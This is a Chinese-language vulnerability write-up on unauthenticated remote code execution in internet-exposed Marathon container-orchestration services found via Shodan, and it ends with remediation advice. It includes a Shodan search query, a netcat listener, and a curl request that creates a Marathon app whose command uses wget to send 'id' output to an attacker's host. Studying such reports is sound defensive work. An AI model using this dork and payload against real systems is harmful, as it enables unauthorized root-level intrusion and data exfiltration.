挖洞经验 | 通过Shodan发现目标应用Marathon服务的RCE漏洞
字数 1446 2025-08-18 11:39:00
Marathon服务未授权访问导致RCE漏洞分析报告
漏洞概述
本报告详细分析了一个通过Shodan发现的Marathon服务未授权访问漏洞,该漏洞可导致远程代码执行(RCE)。Marathon是一个生产级别的容器编排平台,用于管理Apache Mesos集群中的容器化应用。
漏洞关键点
- 漏洞类型:未授权访问 + 远程代码执行
- 影响组件:Marathon服务(Apache Mesos生态的一部分)
- 漏洞等级:高危
- 利用条件:暴露在互联网且未配置认证的Marathon服务
- 影响范围:可获取服务器root权限执行任意命令
技术背景
Marathon简介
Marathon是Mesos的一个Framework,提供以下功能:
- 容器(Docker)编排平台
- 实现服务发现和负载均衡(通过HAProxy)
- 提供REST API服务
- 支持授权和SSL
- 配置约束功能
相关组件
- Apache Mesos:分布式系统内核,管理集群资源
- DC/OS:基于Mesos的数据中心操作系统
- Marathon:Mesos上的私有PaaS实现
漏洞发现过程
1. Shodan搜索
使用以下搜索语法在Shodan中查找暴露的Marathon服务:
"ssl:Redacted" "X-Marathon-Leader"
重点关注返回HTTP 200状态码的服务,这表明可能无需认证即可访问。
2. 验证未授权访问
直接访问发现的Marathon UI界面:
https://[target-ip]/ui/#/apps
确认无需任何认证即可进入管理界面。
漏洞利用步骤
1. 准备监听服务器
在攻击者控制的服务器上设置netcat监听:
nc -lvvv 55555
2. 通过API创建恶意应用
使用curl向目标Marathon服务发送恶意应用创建请求:
curl -sk -X POST -H "Content-type: application/json" https://[target-ip]/v2/apps -d '{
"mem": 16,
"id": "rce-id",
"cmd": "/usr/bin/wget --user-agent=marathon-id --post-data=`id` [attacker-ip]:55555"
}'
参数说明:
[target-ip]: 存在漏洞的Marathon服务IP[attacker-ip]: 攻击者服务器IPrce-id: 自定义应用名称(可修改)cmd: 要执行的命令(此处使用wget回传id命令结果)
3. 验证命令执行
在Marathon UI中查看创建的应用(rce-id),同时在netcat监听端接收命令输出。
4. 清理痕迹
测试完成后,删除创建的恶意应用以避免影响目标系统。
漏洞原理分析
Marathon服务暴露了以下危险功能:
- 未授权API访问:/v2/apps接口未实施认证
- 任意命令执行:通过
cmd参数可以执行任意系统命令 - root权限执行:Marathon默认以root权限运行容器
修复建议
-
启用认证:
- 配置Marathon的HTTP基本认证
- 或集成企业级认证系统
-
网络隔离:
- 不将Marathon管理接口暴露在公网
- 配置防火墙规则限制访问源IP
-
权限控制:
- 不以root权限运行Marathon服务
- 实施最小权限原则
-
安全配置:
{ "disable_http": true, "mesos_authentication_principal": "marathon", "mesos_authentication_secret_file": "/path/to/secret" }
经验总结
- 开发知识的重要性:了解目标系统工作原理有助于发现漏洞
- 自动化工具使用:善用Shodan等工具发现暴露服务
- 漏洞挖掘思路:从认证缺陷入手,逐步提升权限
- 负责任披露:发现漏洞后及时报告厂商并协助修复
扩展思考
该漏洞模式可应用于其他容器编排系统的安全测试:
- Kubernetes的未授权访问
- Docker Swarm的API暴露
- Nomad的调度器漏洞
建议对容器编排系统实施全面的安全审计,包括:
- 认证机制
- 网络隔离
- 权限控制
- 日志监控
参考资源
- Marathon官方文档安全章节
- Apache Mesos安全配置指南
- OWASP容器安全标准
- CIS Docker安全基准